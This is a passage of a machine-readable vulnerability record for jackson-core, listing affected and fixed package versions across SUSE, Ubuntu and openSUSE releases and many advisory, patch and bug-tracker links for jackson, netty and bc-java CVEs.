SP4-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.2-2"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.8.6-1","2.9.1-1","2.9.4-1","2.9.8-3~18.04"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.9.8-3","2.10.0-1","2.10.1-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.12.1-1","2.13.0-1","2.13.0-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1build1","2.14.1-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1","2.14.1-1build1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.9-2.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10}],"products":[{"vendor":"fasterxml","product":"jackson-core"}],"references":[{"url":"https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9","tags":["vendor-advisory","exploit","advisory","web","article","report"]},{"url":"https://github.com/FasterXML/jackson-core/pull/1611","tags":["patch","fix","web","article","report"]},{"url":"https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd","tags":["patch","fix","web","article","report"]},{"url":"https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641","tags":["patch","fix","web","article","report"]},{"url":"https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8","tags":["patch","fix","web","article","report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-18401","tags":["related","web","advisory","report"]},{"url":"https://github.com/advisories/GHSA-72hv-8253-57qq","tags":["related","advisory","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68494","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-642r-3gj9-2pj5"},{"url":"https://github.com/advisories/GHSA-r7wm-3cxj-wff9"},{"url":"https://repo.maven.apache.org/maven2","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/68xxx/CVE-2026-68494.json","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-core","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53644","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4/html-single/installation_guide/index","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2444320","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458634","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458635","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458638","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458640","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458641","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467540","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477217","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477220","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477224","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477226","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477227","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477232","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477930","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480325","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480601","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480637","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2482963","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2482965","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483121","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483131","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483133","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483135","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483136","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483138","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488053","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488062","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488081","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488383","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488388","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488391","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488400","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488413","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488429","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488433","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488437","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488439","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488442","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2490628","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2491620","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2491999","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492015","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2511026","tags":["report"]},{"url":"https://issues.redhat.com/browse/JBEAP-33515","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_53644.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-14813","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-14813","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14813","tags":["advisory"]},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902025%E2%80%9014813","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-0636","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-0636","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0636","tags":["advisory"]},{"url":"https://github.com/bcgit/bc-java/commit/d20cdb8430e09224114fec0179a71859929fcbde","tags":["article"]},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%900636","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-3505","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-3505","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-3505","tags":["advisory"]},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%903505","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-5588","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-5588","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-5588","tags":["advisory"]},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905588","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-5598","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-5598","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-5598","tags":["advisory"]},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905998","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-10579","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-10579","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10579","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15554","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15554","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15554","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15555","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15555","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15555","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15556","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15556","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15556","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15560","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15560","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15560","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15561","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15561","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15561","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15562","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15562","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15562","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15563","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15563","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15563","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15565","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15565","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15565","tags":["advisory"]},{"url":"https://cwe.mitre.org/data/definitions/120.html","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-15567","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-15567","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15567","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27446","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27446","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27446","tags":["advisory"]},{"url":"https://lists.apache.org/thread/jwpsdc8tdxotm98od8n8n30fqlzoc8gg","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-41417","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-41417","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41417","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42578","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42578","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42578","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42579","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42579","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42579","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42581","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42581","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42581","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42584","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42584","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42584","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42585","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42585","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42585","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42587","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42587","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42587","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44249","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44249","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44249","tags":["advisory"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.135.Final","tags":["article"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.15.Final","tags":["article"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-3qp7-7mw8-wx86","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44250","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44250","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44250","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-3244-j874-rhc2","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44890","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44890","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44890","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-6ghj-frrj-jjj3","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44893","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44893","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44893","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-cc37-9q2j-3hfv","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45416","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45416","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45416","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-x4gw-5cx5-pgmh","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45674","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45674","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45674","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-676x-f7gg-47vc","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-46340","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-46340","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46340","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-5xrh-qmmq-w6ch","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-46581","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-46581","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46581","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-47691","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-47691","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47691","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-5pvg-856g-cp85","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48006","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48006","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48006","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-6jv9-x5w9-2ccm","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48043","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48043","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48043","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-c2gf-v879-257j","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48059","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48059","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48059","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-h2qv-fj59-j46j","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-50010","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-50010","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50010","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-c653-97m9-rcg9","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-50011","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-50011","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50011","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-5w86-c3rq-vjj7","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-50193","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-50193","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50193","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-databind/commit/a1fa4ae4ecf5cee16da465985f135f3e81816f8c","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/issues/3447","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-3wrr-7qpf-2prh","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54512","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54512","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54512","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-databind/commit/434d6c511de7fdd9872f29157aafb6162d12d8d5","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/issues/5988","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-j3rv-43j4-c7qm","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-68494","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-68494","tags":["advisory","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-86404","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-86404","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86404","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53645","tags":["advisory"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4/html/getting_started_with_jboss_eap_for_openshift_container_platform/index","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4/html-single/7.4.0_release_notes/index","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-30840","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_53645.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53646","tags":["advisory"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4/html/installation_guide/index","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.4/html/7.4.0_release_notes/index","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-30841","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_53646.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:63327","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484099","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?i